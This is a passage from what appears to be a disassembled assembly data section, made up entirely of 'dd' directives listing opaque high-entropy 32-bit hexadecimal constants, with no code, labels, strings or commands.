1CE4DFCh, 8C26685Ch, 0DC2B16A9h, 3602DC4Ah, 0E6E26AB1h dd 2D746818h, 46520798h, 10A7F135h, 787D2B8h, 0D1562400h dd 393BCFA8h, 9F7CAAh, 3379F7B5h, 0D45C2CB6h, 0D8985203h dd 984585F4h, 8126A2h, 0DA6F6CA8h, 849AA575h, 900089ECh dd 53579C8h, 0F2C6882Ch, 370100F3h, 5E5D119Ch, 6000E13Fh dd 78B415EEh, 7CB5310Eh, 0E0D60034h, 0CD3D02E5h, 9C00A4DEh dd 5A8F6790h, 668439h, 0E67F7CF9h, 43EF763Eh, 8E00D3F2h dd 0C85FDCB7h, 0BA1F59Dh, 501B2E49h, 0DA1638A0h, 4A76FE45h dd 4F6E6A00h, 78E61A10h, 9B30003h, 0D3307FECh, 680557E3h dd 0E0C3F139h, 3689ED18h, 0B9A513FAh, 0F8F400AFh, 437AD4FEh dd 34917400h, 3205D0E7h, 715B6028h, 0C6099DD9h, 85FA8717h dd 18F0B01Ch, 0F0BC12CFh, 11B96378h, 0F3C0A902h, 0A80056Bh dd 663900BCh, 0D0D6A2CAh, 773057B9h, 1FD42843h, 60C97059h dd 5E7468BDh, 0FD00EAFAh, 6681FB3Dh, 0A5AAB7h, 99ADB6Ch dd 5AFAE01Eh, 4A38CC60h, 90B15Eh, 6451ACA4h, 48308C68h dd 14961300h, 8D9E56D5h, 66AF0E26h, 0F180A491h, 0ECC8FE53h dd 25CC5D24h, 5FB42900h, 79E81Fh, 6CBC0878h, 51F5C026h dd 0B2EDF600h, 0FC353DC5h, 0CB5E00B5h, 9124102Eh, 42006795h dd 0AEE7CBFh, 0CEDFE9h, 0A0D3D93Ah, 0A2FF5F79h, 7103AF7Fh dd 0DC17270Dh, 0B60AC070h, 5DDA0064h, 0A3C90E11h, 3B003C12h dd 3A17EFE2h, 2584EE06h, 4004CE0h, 0FC63B40Ah, 49B52B00h dd 0FA442A7Fh, 676F0EF6h, 0F5C05917h, 7A71857Dh, 0BA150C9Eh dd 0EF9400D8h, 0B87F5414h, 63260032h, 0C10D1C59h, 4F2DA4B6h dd 93D820DEh, 41668F3h, 1E5961A1h, 337E806Eh, 0BF594A60h dd 55E10F20h, 30A90490h, 0B8160C80h, 8AA6017Fh, 5402697Ah dd 0F404C8A0h, 7F6B313h, 7EFFE8C0h, 5DAB097Bh, 3080561Fh dd 9DB8AAF7h, 4D834D48h, 875B7E08h, 0E2724843h, 83190012h dd 0FC928B7Bh, 4A00106Eh, 90C8942Ch, 0C0D4141Fh, 9F598031h dd 0FA00459Ch, 4C32AA97h, 25A0CFh, 84EB1F50h, 94709BF5h dd 63045AE4h, 2F8FFD3Bh, 0A47A2480h, 25B91E1Fh, 0AF89002Dh dd 4D95663h, 2B283Bh, 0A806484Eh, 0EFFEBDAh, 0E7A0E339h dd 18422680h, 1407978Eh dd 30AF8486h, 0B77AC230h, 0E3050050h, 260485A2h, 0AD6F1209h dd 5384B029h, 88A644BCh, 480F1E44h, 0A8A542CCh, 22F02A22h dd 1824807Bh, 0C5831D4Bh, 35C2568Eh, 73A290E0h, 383483Fh dd 7A173A3Dh, 0FA34987Dh, 44ED009Bh, 0D2217542h, 66002883h dd 0E8741A5Ch, 0AA71Ch, 46038E0h, 753B2ECFh, 0A0B11000h dd 0EF445A3Fh, 0FCBB6F3Ch, 52C48320h, 880064A6h, 0E16EA305h dd 0F8A1DC27h, 40F83A9Fh, 409A599Eh, 0D8B76C81h, 8900AD4Eh dd 987F1F05h, 28A440Dh, 997B733Ah, 0B4808778h, 766DF96Ch dd 4DAB20C0h, 81EF2Eh, 3A75DC32h, 3960E951h, 0EEF0EC07h dd 0CDC0DDBAh, 0A74C6E1h, 0FF723B62h, 52600D4h, 0E9C56960h dd 5510C754h, 8DF93E18h, 39FB8890h, 0CD80A1BDh, 817F9A14h dd 3F02C95Ah, 78EE98AAh, 5BFCA0E9h, 78958456h, 93E41E4Ch dd 91CD438Bh, 0CB8A7EEh, 0E2001322h, 2FFF866Ch, 0E8BB212Ch dd 63AB003Ah, 9C9EDB17h, 5474B805h, 8B00317Ah, 58A82CDFh dd 57A549h, 8FC22414h, 0DE92BE46h, 96045200h, 0E9C4C1BAh dd 0E8870398h, 0A80C2470h, 80CA03B1h, 0D3BAE080h, 0F881DF8h dd 618B6D15h, 0A19F94E0h, 1AB862FEh, 68D0560Fh, 0AD67C308h dd 0AB24AB8Ah, 0CDF0003Eh, 0FF19A616h, 7CF07A9Fh, 16C0815Fh dd 7E2FE58h, 5514D66Ah, 7D0C60FBh, 0CC00DC4Bh, 23309777h dd 1EC42658h, 0FD3D03h, 19D15E51h, 3818DCB2h, 6460F18h dd 6A3D1D6Dh, 0C1BEC1E5h, 0DE60AC59h, 0A9BDD081h, 0E93C2057h dd 0B09E8100h, 5AC9DA2Ah, 12610031h, 41E5A937h, 0B41C1CD0h dd 1D1DCC2Fh, 4C083DCh, 1D6BD08h, 78FE00C4h, 0CF0590D4h dd 9700B84Ah, 0EA19925h, 0E04B68BDh, 8AF22Bh, 92665A84h dd 0D482DA08h, 0C7C566C4h, 60736180h, 0B01600ACh, 67CE958h dd 26246342h, 0AF00142Eh, 52832AA1h, 0A936010Eh, 82FF70BFh dd 0D875D1BDh, 0A400E4DFh, 4957EC90h, 12F2080h, 1268EA26h dd 81CFBAC0h, 6A9F4D1Ah, 9820CD72h, 42DA0018h, 83F58D76h dd 0F61E3533h, 0C8C09BF7h, 48DE10E4h, 88D70107h, 9EE33B91h dd 0FBD44087h, 47007CA9h, 0E5F96ED5h, 0E2F5ECDDh, 859A1D18h dd 0FBF6C07Eh, 0CD4371CEh, 880F8601h, 0CA347A3Eh, 1CC36AE8h dd 81BBA4E9h, 5228EE42h, 8E802FE1h, 246D450Dh, 0A01F68h dd 7E066BB2h, 1EA1873h, 20C12200h, 0B980F855h, 41C70F1Dh dd 3EC0A0ACh, 3888F7CDh, 7C7C58h, 0F211CA8Ch, 5F76A1h dd 0EDBCE033h, 7D37098Eh, 8BAD0807h, 4D90560Bh, 279EB9h dd 0C35C5881h, 0F1945F2Dh, 70344524h, 0F480971Eh, 1340C176h dd 0A52B2A3Fh, 55F318E8h, 0E20919C8h, 745B2900h, 42B4835Ch dd 0F87350ABh, 72F40069h, 17FF44F8h, 0D300B93Ch, 2C88197Fh dd 0BF2B76h, 0AD1C399Dh, 0C69509E2h, 0E5BCEF00h, 0E054673Fh dd 702F0025h, 0C5DF3374h, 5C00A8FDh, 916316FCh, 3B5313C1h dd 0E50048B2h, 3D70DF44h, 0FD00CC45h, 0B10C0203h, 0EF04A882h dd 8850C0F6h, 542900CAh, 0F006F2A3h, 8D00EBBFh, 52E7C195h dd 18556D4h, 35844074h, 7019DB9Eh, 161F91B3h, 0BA007015h dd 3E142076h, 23FB0085h, 4506A3F3h, 570637D2h, 318A33F5h dd 8E7550h, 26A7CE59h, 250B09A6h, 0FE198100h, 0E9173FE8h dd 48280040h, 695673F7h, 0E2007E5Ch, 47EF51A5h, 7AFE8EC0h dd 0B97F3Bh, 810B8860h, 410444E2h, 0E6B12800h, 1FA6912h dd 2E463D64h, 0AFF76300h, 0C45EC0B6h, 0C14CD500h, 0EF6BB9E2h dd 45840051h, 4706A225h, 600093E6h, 9824E091h, 720F1F62h dd 0B1FF00FCh, 0B0BF6AACh, 0E700F281h, 94800A55h, 3DD5B8FDh dd 7C80F638h, 7E029BBEh, 1D00EF54h, 2B3DA261h, 1B1FCh dd 0BCD81CB3h, 80757FDCh, 0D4989612h, 0D10B9400h, 28A6Fh dd 8978D845h, 0FDFB14D5h, 0D77E5DEAh, 4A2239h, 9DB91B98h dd 0D938A0h, 5D4F3D1Ah, 0CC109179h, 0E7CB6200h, 0F1E42971h dd 11781DF0h, 0CDAD81D4h, 0E4F39944h, 0E0387ED8h, 0A1C8034h dd 0A6C2A97Dh, 0B71B0193h, 482D65F6h, 88EDF8D4h, 0F73F7F7Fh dd 0AF880A0h, 0C49A56ECh, 4AAD07F5h, 0A0D2021Eh, 0B501EEA1h dd 58349C00h, 91D6EAAEh, 0FC3900A0h, 1A217806h, 97286842h dd 6E008CE9h, 0EB8D81C4h, 0CD8A85h, 126540F1h, 8BA2E21Dh dd 0C5C3C00h, 8861DB7Ch, 94D248F2h, 0D120700Bh, 83862180h dd 94001AFDh, 0CD3F7279h, 9011A380h, 639100B1h, 0BCB9C5D5h dd 5700B424h, 5661D2D9h, 0FBC658h, 2E44DB53h, 0B8656A9Eh dd 8E273300h, 0F9EF38BEh, 14EF2EEh, 0B2E3BB02h, 0FD349AB5h dd 22C0C235h, 0DB003355h, 4676190h, 0E7A45Fh, 39B05AE9h dd 0BBB7AA8Eh, 3F6FEC01h, 859EEA1Dh, 0A0D28520h, 2048698h dd 0C74815D0h, 0EDC0F0EBh, 233BA895h, 99718B13h, 2B2B06B2h dd 0BFE00E6h, 0A04D8C32h, 0EE13B8C5h, 2E073EFCh, 0B3F04C08h dd 2D1CC7h, 28B62677h, 3256F9C5h, 0A542150Eh, 416A137h dd 0C2400AE4h, 39173CC7h, 5E80C2C8h, 90CA5B68h, 0C9E6E44Dh dd 72BFD603h, 0E8FC3207h, 126A3E34h, 235F394Bh, 12D83104h dd 0CD00F195h, 0DFED3AE7h, 595BC9h, 0DC7E1DC5h, 0E6F8DDC1h dd 39F4DA00h, 0BDB7A52Fh, 0D5C80556h, 3F7FFEh, 99705EF0h dd 0EE00518Bh, 4421DBD7h, 7AA89Ch, 0B92BCF17h, 2F6E9B1Ch dd 2DDE160Fh, 974D206Ah, 245554h, 38EF46AAh, 295B83DCh dd 5D0FFA00h, 4097E331h, 575AC967h, 0E84AB400h, 6900B423h dd 5A6E4CAFh, 0F67C442Dh, 0E5B30511h, 1452187Dh, 0DB03BCFEh dd 0E7267FA1h, 7999C6C0h, 0D770F00h, 6748ABB8h, 3C0530C5h dd 0DDBEB658h, 8F6D7212h, 95864C40h, 0B3E184h, 533AAA48h dd 930E922Ah, 4F14609Dh, 0F091E4h, 0D9BCCD27h, 68C0948Eh dd 2649632Dh, 5F9502C2h, 7030C868h, 6973DBC0h, 0F69ECA28h dd 0C705BE0Eh, 0E1E980F5h, 1D0E5BA4h, 0DF8B1F16h, 0DC5AC036h dd 1715C804h, 0B3E5D000h, 72A9CA81h, 9F7909EEh, 38011C7Fh dd 0E07D2BB1h, 5B004F46h, 0CA8CDBCh, 8D6573h, 0B10FCC96h dd 6C399499h, 0F75B982Eh, 0CB1CC900h, 0EC767CD8h, 0A53F006Ah dd 9E088307h, 98CE2C54h, 61AC589h, 425D9E80h, 0D07A2Dh dd 36826488h, 15748BCAh, 4C721000h, 3C473E35h, 16DA00EBh dd 0C3A852A2h, 6900EE08h, 64F041AEh, 981F1377h, 38E72C04h dd 3D003F41h, 7C30CC23h, 31B03F67h, 0B1EF1C00h, 0BCD29F7Ah dd 0EB18039Dh, 2C47CD45h, 711A8085h, 0AD03A7B8h, 0A52DABF6h dd 6E83D8E3h, 5D170FF8h, 0D5000440h, 0D7C06597h, 4D15C500h dd 0D4661B3h, 33D0A00Eh, 808700D5h, 55E941BEh, 0F200B65Dh dd 86220CFEh, 7695967h, 4D6E9A33h, 7119905Ch, 0BD07A9CEh dd 0B7B9AA39h, 5EA06071h, 1F7D360h, 9FF20502h, 0D02C990Ah dd 0AC72DD89h, 0AAA73800h, 0D85E185Dh, 21F0C5h, 80144CCh dd 941BF2A9h, 192F9E1Dh, 0BD7B6800h, 0E3C238h, 6C823D5Eh dd 0D5CAEC2Ah, 0B8E49831h, 0EC602947h, 0B63F021Dh, 10504271h dd 0FE0040D5h, 0FB8A0075h, 0C8652BF5h, 262EB2B9h, 2F014511h dd 0B0CE3BC9h, 0BFCD9841h, 0E885C8h, 0B7479832h, 92DD175Dh dd 0B18D100h, 0BA1EF059h, 0DE083C57h, 0B9035500h, 902E6FD2h dd 0F9001498h, 1C93C5D6h, 1FB141C3h, 401D638Ah, 2F46B48Ch dd 2C00A55Ah, 0A0953837h, 0AB240Bh, 626A996Ch, 0F8C6787Eh dd 1190F500h, 63A80CFh, 3C200023h, 2AC5A2C9h, 340709CDh dd 626B3292h, 784AF90h dd 0F516000Bh, 5D457AA3h, 2EEF1BAh, 1E134B00h, 8568FAAh dd 47190016h, 0CF70E232h, 5A036058h, 594CF7EBh, 281A917Ah dd 0C4B460h, 354D4294h, 0E0D4C08Eh, 79D63Fh, 87CE3845h dd 1F7F8h, 4095EA5h, 0D2FF3630h, 57A95D00h, 163F0F2Ah dd 0C4A403D6h, 58102C21h, 1E85BEE8h, 5E901B2Eh, 4000E826h dd 9FD660C1h, 2DA17333h, 0A6DE9662h, 678F9800h, 27B8D8h dd 0E1532FB5h, 0F4F2C233h, 22DE022Ch, 29134200h, 1E3047Bh dd 1BE039FEh, 0C053058Ah, 82184A4Fh, 0CCF0E769h, 812800D6h dd 0F382498h, 0DEE63AF9h, 4FE78200h, 3B081B0Dh, 346F2F3h dd 509FFFC6h, 0EA005733h, 54397CE4h, 0D96120h, 0CD1872ECh dd 63F92D2Ah, 4EF79203h, 0E07333E0h, 3C7671Fh, 0BAD0B58Dh dd 1BC81CD2h, 460CDDBDh, 91378844h, 73AC0032h, 0FA09CE39h dd 2400038Ch, 98839C4Ah, 0A168B5A2h, 64C4C9F4h, 53E01885h dd 8D8438E6h, 447A0600h, 0CE9C4BB8h, 2B9B0078h, 0FD98630Ch dd 3707DE29h, 34C3BB55h, 0CBF5AEB0h, 1294F021h, 67B070h dd 0FFC01267h, 0A900FD55h, 1CF4E106h, 374632h, 20B81B3Eh dd 47F5FA8Ch, 0C2D43Ch, 406D252h, 0E85BEAh, 0F1A49E57h dd 0ECCF619Dh, 65030BFEh, 7FB606FFh, 8ED488A1h, 0E394003Bh dd 0D9D6E5F3h, 78264B4Dh, 0DA017090h, 945222D2h, 169B67CCh dd 1D836CA8h, 0C2424014h, 7C24E835h, 21D2CF00h, 0AB4CA9AAh dd 8C6004Ah, 0C52A6164h, 7200A198h, 1AD4983h, 5C815BCAh dd 4D0044EBh, 0D2A25206h, 0EE1EC414h, 5E4B8093h, 83AC0E2Dh dd 0BBE24359h, 0D81D98F0h, 0F50A0098h, 0DEA22F15h, 0A1014D7Ah dd 13EF338Fh, 0AEE0F8D3h, 837B00CEh, 4096F7D2h, 0AF90750Dh dd 0E9A43Ah, 0F54CE52Ch, 7779DDh, 67E387C0h, 0AF46CECh dd 0AD99BA09h, 0EBCC80D2h, 1872DF7Ah, 1001644Ah, 0BA00A665h dd 58C0CE77h, 0F81B98h, 82CB81EDh, 0B259FBACh, 8DB33501h dd 0DCB89E02h, 397A29C4h, 5F80939Dh, 125987ADh, 7D0E34E9h dd 0EF448855h, 4B77402Dh, 4C0360D5h, 4900080Eh, 0C6F8B15Fh dd 0AC0056DDh, 0DB70DCDEh, 99B935h, 1F8B08CAh, 4ABF4E3Ah dd 8CD7EC00h, 0EB14C36Fh, 11A50070h, 85236272h, 4E00AF89h dd 0BAAC13A8h, 30529805h, 0BD584F78h, 6D01242Bh, 5B8AF1DFh dd 1AF9F7F4h, 0EE7FFC40h, 4407027Bh, 6F52E3FBh, 0D4DF3FC1h dd 0C800776Dh, 22FCE974h, 382163Dh, 5BD4244h, 29006B4Ch dd 97C460F3h, 0BE87Bh, 754DA8B5h, 54760CA7h, 9E7F9C1Dh dd 1B003064h, 0E18805DFh, 1CB02606h, 0A0960F38h, 1F2803E0h dd 9874FFC7h, 4C635379h, 0E0780930h, 0E22AACh, 9261492Bh dd 5BF1254Eh, 5FB46700h, 0BC95E622h, 97EF0068h, 35A8579Bh dd 9E00FC82h, 187B568Eh, 0FDF173Fh, 5D111ADEh, 701D5220h dd 84051BDAh, 0C3FDE650h, 973E4800h, 1505319Eh, 54CAE1D4h dd 0C840B420h, 0FC52009Fh, 0A98EAB64h, 0D413D371h, 3900DF40h dd 488D357Ch, 5EDD0055h, 7417BCBAh, 103E8C9Bh, 0DA3E87DBh dd 25918172h, 19FCF4DEh, 9786007Fh, 0F2290991h, 90007BE9h dd 127708Eh, 3EA58162h, 4C00FA4Dh, 9B764067h, 98C029C6h dd 0CF063213h, 3757CEAh, 622631C3h, 0F20F4DA7h, 5091392h dd 1800E4CEh, 0A2EDC9BFh, 56A50EB6h, 8B9A3B7h, 0F1218019h dd 0D727EDACh, 381AF086h, 8B1D15FAh, 1F03A07Ah, 5B9992F5h dd 0BB110063h, 95E50338h, 7F195033h, 650843E1h, 0C0BD2187h dd 0AABF7003h, 68C023BCh, 6B7EED5Dh, 4D130EADh, 49E05278h dd 91124251h, 52F0F54Eh, 88680093h, 0CAEF3C86h, 620F6C39h dd 5492F47Ah, 3158040h, 8C4B95F0h, 929D20h, 2703DDBCh dd 0F458FC79h, 99B38700h, 3DA9AF09h, 981451BAh, 30DF9402h dd 7B11EDC4h, 2588DDB6h, 0EDAF3C80h, 0F97CD0h, 4B49978Ch dd 0D9F22477h, 0A9BE9232h, 6FA3E1B2h, 0CF9BB880h, 34A988EBh dd 0E767D000h, 438122E0h, 8988A032h, 967E0F59h, 60C02627h dd 0FDF14109h, 7F54BF00h, 0E1FC1099h, 668F00E3h, 985090C8h dd 0CCF4C7BEh, 2EFEE503h, 0C92AA58Bh, 6DC8F9D7h, 4E7C0036h dd 184AAE23h, 9E3A82F4h, 4993000Bh, 7904AF8Fh, 0DC0A00C8h dd 3CB0EAEh, 6558D883h, 0ACD000EEh, 12AC09Dh, 4AF02C45h dd 675F0014h, 0C5C796AFh, 5C2C4100h, 93B3833h, 0BA5300A6h dd 8002CF27h, 7960D029h, 13353348h, 46F40691h, 18D1E456h dd 0EEFCD800h, 22AE9E0h, 85AF1EB3h, 8115806Bh, 4B3D2FAEh dd 0B1BFA300h, 0EA56C92Ch, 2E4F3EB3h, 31DB0C01h, 876A4D5Eh dd 697D94A9h, 14D1FC57h, 42D0BD7Ch, 0E2FA0028h, 0C1324530h dd 0DC009CD4h, 6685CFDDh, 1ED7485Fh, 5B2ECBEAh, 0B007B8CCh dd 1C4D9271h, 2CC4C090h, 182E6078h, 0E60AAEC7h, 770DA900h dd 0A862D8DAh, 8E285052h, 0C82F0334h, 72DC46BEh, 0AC215CC0h dd 0B37A3F03h, 7517FCh, 60F462A8h, 0B7D277CFh, 0A058226Fh dd 0AF8C1971h, 7D101D3h, 0DD2F56A1h, 44AC4014h, 48C38160h dd 74A663h, 83ABBFD0h, 0A4CE51EBh, 0E7A5DE1Dh, 0B1116B84h dd 540BB980h, 7B190087h, 480AF1F7h, 0F863FEF0h, 3E6B8B08h dd 7B80B920h, 66141BC6h, 75009962h, 0EB7DE4E3h, 1D6F634h dd 6755E1B6h, 0CC231EC5h, 62EC783Ch, 0C2E8E21Dh, 0D700E711h dd 428D2416h, 0C1FEBC65h, 994880E5h, 4A670985h, 88960789h dd 0E328BB42h, 2061D1B1h, 0D76A67A9h, 0C10048BCh, 2501A421h dd 4B00808Dh, 624FFDAh, 30999634h, 15E9E3C3h, 4841B05h dd 0F5A37B2Dh, 76663EAh, 7B25BD21h, 0AD450ECh, 6A317275h dd 0B9657802h, 3E5C7FCh, 0DF4B7BBh, 88066DCh, 36003E7Dh dd 0AD09D09Bh, 73A89C2h, 0DBB406Dh, 0E7C91067h, 160F9770h dd 9853AEDDh, 700EABC1h, 0DBD03DBh, 0A562AF82h, 21D50830h dd 0C3F9974h, 7971DE7Ch, 8602F0A1h, 6764DAEAh, 970D40C1h dd 0D0490F57h, 0F240136Bh, 4B2E3A29h, 6200B7F8h, 0C5256909h dd 7BF11C04h, 310F0721h, 7948E8h, 15071DE6h, 3D29E303h dd 80AFB636h, 0BA8E26h, 0F886841Eh, 0DADF1D0Ch, 0B2004E78h dd 767A7BEFh, 3BA82DD5h, 8B00D410h, 2E205C55h, 59001358h dd 0E446C15Dh, 0B805B0h, 5C09E881h, 0AACDB41Ch, 8FA31600h dd 4439D2D4h, 0C7F70078h, 4FF23603h, 1D005697h, 0E7EB16B4h dd 787A548Eh, 1C60CEE9h, 30490E2Dh, 0A7B896B5h, 3AFC358h dd 0AD49CF61h, 0FA69A8E8h, 2367001Eh, 56A20F63h, 7100F920h dd 0D29625A6h, 188A5112h, 599F9EA5h, 630064F0h, 921059DAh dd 1EDB4AEh, 2E6B1FE6h, 0D09D3240h, 0B6002686h, 91F62F68h dd 60F2C3FEh, 4E24A06Ch, 6503D5A1h, 1657D49Eh, 0FC181C87h dd 425800B8h, 8F56014Ch, 0F9742406h, 7C39639Fh, 0C4C3095Ah dd 0B00088Bh, 2742D867h, 5CE2D100h, 0FBC925A7h, 956F00DFh dd 2D1A44D3h, 0D4E146BDh, 0A198862Ch, 0FB35800h, 1EFBCC91h dd 44681EEEh, 8D2E07FEh, 0BF230188h, 708D41Bh, 4AD4A400h dd 84E6D5BCh, 0E4B6018Dh, 943BA327h, 0BCF8D13Dh, 84E28721h dd 5FF12E30h, 0F60D0D6h, 9BCE005Ah, 99AF6B80h, 3500CB79h dd 1F32EA88h, 3C07689h, 67109F86h, 8801E566h, 8D2F270Eh dd 58B28834h, 0E9300D88h, 8F5A0884h, 86E267Ch, 556400D7h dd 5DB3619Eh, 0FF1EA000h, 358DD3BEh, 98F50171h, 22FFD09h dd 769BE46h, 0ABF6C51h, 0E0B3C0C2h, 0C3B25D26h, 10772AA8h dd 0D457A681h, 9C6D903h dd 20C84Eh, 3AE48F0Ah, 5136BECFh, 48AC6430h, 71CF3AFh dd 0AD12A478h, 573BD082h, 300DC5Ch, 0CD3666DAh, 0F50A09h dd 997064CCh, 3BA4B11Eh, 58A5BB02h, 0C08FE5E7h, 0FB41ACh dd 0CE1639CDh, 0BEA026EEh, 83E26703h, 0E82F8654h, 718430AAh dd 0DA370003h, 319762F4h, 7100E12Ah, 1ECBDE4Ch, 0B107C7h dd 539DBE6Bh, 0A3F2098h, 22588919h, 21875508h, 502FF768h dd 1EB221A1h, 947CC6ECh, 805A700h, 3EDCB497h, 605EFE70h dd 0DF82196Ch, 0F680B656h, 6A4E0013h, 8D387CFBh, 81F8CA2Ch dd 0DE61AF60h, 79E37AE4h, 18803C9h, 0ADFACE5Dh, 1B5AC0BFh dd 0D0F8B8A0h, 31213506h, 39A623h, 0FE8017F6h, 3F7FDFA3h dd 0CD2EB707h, 0EA834283h, 1ED293E8h, 1932780h, 0E2ACA34Ah dd 6E6DC44Dh, 80C08F3Fh, 0D87CAE69h, 9873E3DFh, 0E9D7561h dd 0A98B4134h, 0F090D9C7h, 74A0CC0Dh, 0A2F74Ch, 667917D3h dd 7D093670h, 56581F6Dh, 1680BDDFh, 8ED4A5DAh, 500B782h dd 11FC9403h, 1F47F390h, 870854B5h, 50213209h, 0A0251B4h dd 0E284DE00h, 22F5FFD3h, 1FA7002Eh, 3BC0C14Eh, 1B7EC227h dd 0B6932B1Eh, 3A588703h, 41380688h, 18ED1670h, 5E4EDD0Eh dd 1F3AFF0Eh, 53802450h, 6F1EFD28h, 56710333h, 0D4D58FFh dd 400050C3h, 0BC17725Ah, 8E3009h, 0F07B039Bh, 6E3E7435h dd 0FCFAB00h, 46824AC1h, 0D88C00BDh, 50634EF9h, 0A20CEB5Eh dd 71048BA4h, 428100D9h, 7024AC4h, 351837BCh, 5E686734h dd 8B7021h, 8C048253h, 0DC8331D3h, 4B03BEE8h, 0AD47F8E0h dd 248053Bh, 5834D9h, 65FC8DA8h, 0F8002398h, 46519315h dd 0C09F05Dh, 5FE6AF9Fh, 0BE003330h, 327987D4h, 1FEEB4C5h dd 86D272EBh, 61BF66D3h, 1B602507h, 1E4019B0h, 2E8642h dd 0AA27856Fh, 839E6ED3h, 0F9154174h, 7907C99h, 8DFF1DBEh dd 51DCEA00h, 170600D3h, 279F7D39h, 0A4A47F32h, 66419B2Eh dd 0CA9C7E00h, 0CB8EF1h, 6107E8D5h, 8BF6A0C3h, 0B1785200h dd 6E4A9B98h, 13F500C9h, 9A93A5D2h, 0CF003E91h, 0C646A957h dd 0FA371504h, 0DC3100D0h, 7392170Ch, 0F506F366h, 1A860FEBh dd 8325030Eh, 79FB475h, 24103Dh, 10806D88h, 1F53FD35h dd 4165BBA7h, 9F856E8Dh, 5728800Dh, 8B94C744h, 458400B8h dd 0CE775497h, 3003C529h, 0D41A7C4Bh, 0E996E046h, 833B0052h dd 557F459Dh, 5B0C4994h, 0B0CEC865h, 0D4412C3Eh, 0EC820E8Dh dd 8960B20h, 3700E2DCh, 0EAF95C63h, 8145B9h, 44853FAEh dd 0D40C087Ch, 2A53FC00h, 2977FAABh, 50C663A5h, 0AEEFE867h dd 609AA898h, 0E913561h, 1880AAE5h, 998856CCh, 0AC000FDBh dd 266E503Eh, 0FE70B47Ah, 654D0091h, 0AEA6FDD1h, 5C0031A9h dd 0E0873954h, 20924E5h, 0FA481D35h, 0F280F67Eh, 2585D67Fh dd 8647FD3Ah, 1F7388FEh, 21AC6708h, 3A2630EDh, 640052F9h dd 0B130DBC8h, 3BDDD4E0h, 0CE033519h, 0DA4975D2h, 5AAD6AC0h dd 0CF865200h, 672F0540h, 0F648C0C3h, 0D495A6DEh, 721851F2h dd 1B098992h, 0FE20C019h, 0C58F95FAh, 1DD9E800h, 0B43B59D5h dd 518404Ah, 28007BB8h, 0CDBB9CD0h, 3DC9831Dh, 4E004B06h dd 8D04D676h, 6C03A415h, 0E0EBA382h, 28E9187Ch, 4291D194h dd 808E6900h, 0B5444E46h, 35700096h, 86A694CAh, 0E666C8ECh dd 1F6FD39h, 5B17B641h, 983F99DFh, 0BE900208h, 52233FD8h dd 7A796900h, 6A882D35h, 60D79418h, 953679h, 0FD1525CEh dd 2D867F1Bh, 97EE6201h, 20A49987h, 0BB32C840h, 0A85550F1h dd 3D83004Ah, 1330456Ah, 0E500DB2Fh, 25A464A7h, 32D988Eh dd 6FE83EA6h, 0EFB8EEB9h, 90073C1Ah, 4A066B83h, 3978C08Eh dd 0CE79B7h, 7B9DD29Eh, 0DB11DF32h, 40BD8300h, 0EFA8F25Bh dd 93130B56h, 5600CF6Bh, 15189CD1h, 5F41F00h, 4BD9F7F8h dd 43E204CDh, 8765392Ah, 0FE9D8069h, 0E800936Eh, 0E0FA58DBh dd 0FF4C3C8h, 76FF0A20h, 0D89B0360h, 0A500E3A4h, 154D0BD5h dd 5B9D1h, 0BBF11F6Ah, 0D435DB63h, 746B6E07h, 0E570E037h dd 0F3766F99h, 304360F0h, 1F183324h, 34400681h, 148703FFh dd 1ED36E3Dh, 3890E9F3h, 3300B819h, 0CB37D6C5h, 3EAAB0Bh dd 3EA8BD23h, 3DF00578h, 6900A5E7h, 2E55A3B6h, 3948CBFh dd 5F32F7DBh, 40032722h, 0DC23BBAFh, 11101DAh, 57DBA0B0h dd 0BD70F0C7h, 213609CCh, 0F3B400E1h, 0A356836Bh, 5A0CEF1Eh dd 0B822EEDCh, 0E3AE31C7h, 0F5AC2128h, 3807D35Dh, 0F438DCA5h dd 72832A6h, 0E747B5D7h, 4E8957FDh, 393F0A5Eh, 7CA9384h dd 0E03C31FDh, 87C36543h, 0B7EED3Ch, 0E9B51Bh, 0C5DECB6Ch dd 0EA69E844h, 8ED507FAh, 634637B6h, 0E0D87E16h, 65FA0301h dd 0DAF70C02h, 0E00582B3h, 1D4B947h, 0D0528476h, 0C43678BAh dd 8D1DF82Dh, 0FA5CEFh, 0D443D785h, 1C0B09h, 0AF469CBEh dd 7FA9C6A3h, 758F5E01h, 14C51053h, 580336D4h, 7C0100ADh dd 0FD176943h, 0FB18807Bh, 97092AE2h, 0AFDE0144h, 0A433437Dh dd 0ED1AF1F8h, 0D4B2F092h, 190E7080h, 49D1E45Fh, 80AEE896h dd 5BB35103h, 1B7B4B7Fh, 30AB7908h, 1DAA3B98h, 8CC44103h dd 0D0952Ch, 156D3618h, 37D276BEh, 2E696A00h, 28FBFA5Ch dd 0E73E17BDh, 0DCFC0Fh, 8C451B42h, 0A8EB890Eh, 11AABD3Ch dd 8C6351AEh, 1D01A923h, 40ECAFB6h, 1E80CD8Fh, 3A019852h dd 1D37BBADh, 71D0FB02h, 0AA63EEAh, 3633A100h, 0D3F4116h dd 0B8A4DA28h, 0F239F100h, 66583D9Ch, 0C3320031h, 0A9CE0676h dd 0F500D678h, 0AFAEBC92h, 4CBF5D01h, 0A600751Dh, 6BB235E1h dd 1A00E7B9h, 0DAE60873h, 0C63C3Ah, 603E201Fh, 0D5EA254Dh dd 9D6FB33Ah, 0DA807E05h, 0CFCAF540h, 0AF3009Ch, 1FC82111h dd 0BC00E414h, 5E903934h, 66CFE5h, 80DB2854h, 0AE97AAABh dd 0AC5A761Dh, 0BC43CBC1h, 0CAF81687h, 0CD070081h, 6E7C868Fh dd 4400729Dh, 1F75C203h, 0EAFC398Bh, 703000EEh, 36FDC4CDh dd 0F2001B54h, 132F0888h, 0B49BD1h, 0CF436A8Bh, 84617035h dd 75FFBC0Fh, 0D8A600CBh, 5301BBh, 8FD97904h, 2FBA69BDh dd 3F54B700h, 95ACA21Fh, 0E7DA00CFh, 0AB8A4BCCh, 0F50B47E5h dd 4CF1B4h, 0B9ECBFDh, 7EA7EAE8h, 4F803D5h, 0FDE67167h dd 0CE1FA003h, 0F8CF35CDh, 0E2285F0h, 5B27DE3h, 47796F40h dd 400F455Eh, 667E959h, 1F19E6B8h, 9061BE50h, 0BD9000DEh dd 0AF1C543h, 0F2E4009Ah, 8D6E207Ah, 0C70763DBh, 4BAC6BD5h dd 55FE13A0h, 1E5708Ch, 77E208C3h, 3F73E719h, 44C8F0h dd 5669A84Bh, 1BE03F05h, 9754F300h, 0C137AC6Fh, 57680058h dd 0B9787C8Fh, 0DE120DF6h, 891C2680h, 9655EC40h, 1D84FB63h dd 40B6BAADh, 9C235A94h, 420C2AA2h, 91892B6Dh, 54020095h dd 